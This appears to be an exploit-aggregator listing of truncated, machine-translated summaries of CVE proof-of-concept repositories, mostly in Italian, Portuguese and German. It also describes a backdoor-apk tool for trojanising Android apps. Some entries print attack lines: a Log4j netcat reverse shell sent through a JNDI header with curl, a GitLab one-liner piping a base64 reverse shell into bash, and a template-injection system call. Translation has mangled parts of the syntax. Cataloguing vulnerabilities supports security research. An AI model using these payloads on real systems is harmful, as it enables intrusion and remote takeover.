CVE-2023-50071

CVE-2023-50071 Sistema di Supporto Clienti 1.0 - Multiple vulnerabilità di SQL injection - savedepartment Descrizione : Multiple vulnerabilità di SQL injection in /customersupport/ajax.php?action=savedepartment nel Sistema di Supporto Clienti 1.0 permettono a attaccanti autenticati di eseguire...

backdoor-apk

backdoor-apk backdoor-apk é um script shell que simplifica o processo de adicionar um backdoor a qualquer arquivo APK do Android. Os usuários deste script shell devem ter conhecimento prático de Linux, Bash, Metasploit, Apktool, Android SDK, smali, etc. Este script shell é fornecido como está, se...

CVE-2024-8309

Proof of Concept per la vulnerabilità CVE-2024–8309 di Langchain Panoramica Questa configurazione dimostra un proof of concept per la vulnerabilità di iniezione di prompt nella classe GraphCypherQAChain che consente l'iniezione SQL in un database Neo4j. Componenti: 1. Database Neo4j : Esegue Neo4...

CVE-2023-6063-PoC

PoC für CVE-2023-6063: WP Fastest Cache 1.2.2 Unauthenticated Blind SQL Injection -red Ein Proof of Concept für CVE-2023-6063, eine zeitbasierte blinde SQL-Injection-Schwachstelle in WP Fastest Cache ≤1.2.2. Extrahiert gehashte Passwörter userpass und E-Mails useremail aus der Tabelle wpusers dur...

CVE-2025-44148

CVE-2025-44148 - Cross-Site Scripting riflesso XSS riflesso Cross-Site Scripting riflesso XSS in MailEnable Fornitore: MailEnable Pty. Ltd. Versioni interessate: 10 Descrizione Esiste una vulnerabilità di cross-site scripting riflesso XSS in MailEnable Webmail dovuta a una scorretta sanitizzazion...

CVE-2019-10685

CVE-2019-10685 A entrada fornecida pelo usuário contendo JavaScript é ecoada de volta no código JavaScript em uma resposta HTML através do parâmetro "TextField". Publicação no Exploit-DB em https://www.exploit-db.com/exploits/46804 Publicação no PacketStorm em...

CVE-2024-8190-unauth

CVE-2024-8190 non autenticato Descrizione Combinazione di CVE-2024-8963 e CVE-2024-8190 - PoC per RCE non autenticata su Ivanti CSA 4.6 e versioni precedenti. CVE-2024-8963 Il Path Traversal in Ivanti CSA precedente alla 4.6 Patch 519 consente a un attaccante remoto non autenticato di accedere a...

CVE-2024-9441

Nortek Linear eMerge E3 Pre-Auth RCE PoC CVE-2024-9441 Beschreibung: Dieses Repository enthält einen Proof-of-Concept PoC-Exploit für Nortek Linear eMerge E3 CVE-2024-9441, das anfällig für Remote Code Execution RCE im Zustand vor der Authentifizierung ist. Die Schwachstelle wird durch einen Fehl...

CVE-2024-1071-PoC-Script

CVE-2024-1071 Exploit Script 🚀 🌟 Disclaimer This Proof of Concept POC is made for educational and ethical testing purposes only. L'utilizzo di questo strumento per attaccare obiettivi senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali,...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc IP Pubblico Porta -e /bin/sh Converti in Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Sito Target -H "X-Forwarded-Host: $jndi:ldap://IP ReverseShell:Porta/Basic/Command/Base64/Payload in base64 Prova di concetto Log4j...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 Einzeiliger Bash PoC für GitLab Preauth RCE CVE-2021-22205 root@kitploit: t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2022-40127-Airflow-RCE

Apache Airflow Una vulnerabilità negli Example Dags di Apache Airflow consente a un attaccante con accesso all'interfaccia utente, che può attivare i DAG, di eseguire comandi arbitrari tramite il parametro runid fornito manualmente. Questo problema interessa le versioni di Apache Airflow preceden...

CVE-2022-24086

CVE-2022-24086 PoC di CVE-2022-24086 root@kitploit: var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Remote-Command-Execution ZeroShell 3.9.0 Remote-Befehlseinschleusung Zeroshell 3.9.0 ist anfällig für eine Remote-Befehlseinschleusung. Dieses Problem tritt auf, weil die Webanwendung einige HTTP-Parameter falsch behandelt. Ein nicht authentifizierter Angreifer kann diese...

CVE-2019-19609

Exploit Strapi CMS Questo exploit sfrutta due vulnerabilità nel framework Strapi CMS versione 3.0.0-beta-17.4 consentendo l'esecuzione remota di codice RCE non autenticata. Vulnerabilità CVE-2019-18818 Meccanismo debole di recupero password per password dimenticate CVSS : 9.8 - Critico Maggiori...

Log4j-PoC

Proof of Concept per Log4j CVE-2021-44228 Dichiarazione di non responsabilità Questo progetto è solo a scopo educativo. Introduzione Questo è un proof of concept dell'RCE di log4j adattato da HyCraftHD. Ecco alcuni link per la CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

CVE-2026-48060

CVE-2026-48060 - Injeção de HTML no Litestar Através do Token CSRF Este repositório contém a prova de conceito do exploit e a aplicação vulnerável para demonstrar a vulnerabilidade de injeção de HTML presente na versão 2.21.0 do Litestar. Como Executar root@kitploit: git clone...

PoC-CVE-2017-5638

PoC: Apache Struts2 CVE-2017-5638 Demo Educativa Sicura 📌 Panoramica Questo progetto è una Proof-of-Concept PoC per CVE-2017-5638 , una famosa vulnerabilità di Apache Struts2 che consentiva agli attaccanti di eseguire codice arbitrario sui server interessati. ⚠️ Questo repository contiene una demo...

CVE-2026-72898

CVE-2026-72898 Metabase Passwort-Reset ohne Authentifizierung SQL-Injection ★ CVE-2026-72898 Metabase /api/session/resetpassword ohne Authentifizierung blinde SQLi PoC ★ https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59 Übersicht CVE-2026-72898 ist eine SQL-Injection...

CVE-2020-7471

CVE-2020-7471 Questo repository fornisce l'ambiente e il POC per la vulnerabilità CVE-2020-7471: potenziale SQL injection tramite StringAggdelimiter. Versioni di Django affette 1.11 fino a 1.11.28 esclusa 2.2 fino a 2.2.10 esclusa 3.0 fino a 3.0.3 esclusa Operazioni necessarie prima del download ...